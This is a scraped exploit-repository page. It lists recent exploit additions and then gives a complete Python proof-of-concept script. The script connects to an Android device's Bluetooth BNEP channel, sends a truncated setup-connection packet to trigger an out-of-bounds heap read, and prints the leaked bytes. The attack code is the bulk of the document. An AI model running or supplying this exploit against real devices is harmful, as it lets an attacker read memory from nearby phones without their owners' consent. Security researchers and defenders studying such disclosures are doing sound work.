e3fb91f1d7
14 changes to exploits/shellcodes Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure Android Bluetooth - BNEP BNEP_SETUP_CONNECTION_REQUEST_MSG Out-of-Bounds Read Dell EMC NetWorker - Denial of Service WM Recorder 16.8.1 - Denial of Service Easy Avi Divx Xvid to DVD Burner 2.9.11 - '.avi' Denial of Service Allok Quicktime to AVI MPEG DVD Converter 4.6.1217 - Stack-Based Buffer Overflow Crashmail 1.6 - Stack-Based Buffer Overflow ( ROP execve ) Easy CD DVD Copy 1.3.24 - Local Buffer Overflow (SEH) Hikvision IP Camera versions 5.2.0 - 5.3.9 (Builds 140721 - 170109) - Access Control Bypass TL-WR720N 150Mbps Wireless N Router - Cross-Site Request Forgery XenForo 2 - CSS Loader Denial of Service MyBB Plugin Last User's Threads in Profile Plugin 1.2 - Persistent Cross-Site Scripting Wordpress Plugin Site Editor 1.1.1 - Local File Inclusion Linux/x86 - EggHunter Shellcode (11 Bytes)
57 lines
No EOL
1.5 KiB
Python
Executable file
57 lines
No EOL
1.5 KiB
Python
Executable file
import os
|
|
import sys
|
|
import struct
|
|
|
|
import bluetooth
|
|
|
|
|
|
BNEP_PSM = 15
|
|
BNEP_FRAME_CONTROL = 0x01
|
|
|
|
# Control types (parsed by bnep_process_control_packet() in bnep_utils.cc)
|
|
BNEP_SETUP_CONNECTION_REQUEST_MSG = 0x01
|
|
|
|
|
|
def oob_read(src_bdaddr, dst):
|
|
|
|
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
|
|
bnep.settimeout(5)
|
|
bnep.bind((src_bdaddr, 0))
|
|
print 'Connecting to BNEP...'
|
|
bnep.connect((dst, BNEP_PSM))
|
|
bnep.settimeout(1)
|
|
print "Triggering OOB read (you may need a debugger to verify that it's actually happening)..."
|
|
|
|
# This crafted BNEP packet just contains the BNEP_FRAME_CONTROL frame type,
|
|
# plus the BNEP_SETUP_CONNECTION_REQUEST_MSG control type.
|
|
# It doesn't include the 'len' field, therefore it is read from out of bounds
|
|
bnep.send(struct.pack('<BB', BNEP_FRAME_CONTROL, BNEP_SETUP_CONNECTION_REQUEST_MSG))
|
|
try:
|
|
data = bnep.recv(3)
|
|
except bluetooth.btcommon.BluetoothError:
|
|
data = ''
|
|
|
|
if data:
|
|
print '%r' % data
|
|
else:
|
|
print '[No data]'
|
|
|
|
print 'Closing connection.'
|
|
bnep.close()
|
|
|
|
|
|
def main(src_hci, dst):
|
|
os.system('hciconfig %s sspmode 0' % (src_hci,))
|
|
os.system('hcitool dc %s' % (dst,))
|
|
|
|
oob_read(src_hci, dst)
|
|
|
|
|
|
if __name__ == '__main__':
|
|
if len(sys.argv) < 3:
|
|
print('Usage: python bnep02.py <src-bdaddr> <dst-bdaddr>')
|
|
else:
|
|
if os.getuid():
|
|
print 'Error: This script must be run as root.'
|
|
else:
|
|
main(sys.argv[1], sys.argv[2]) |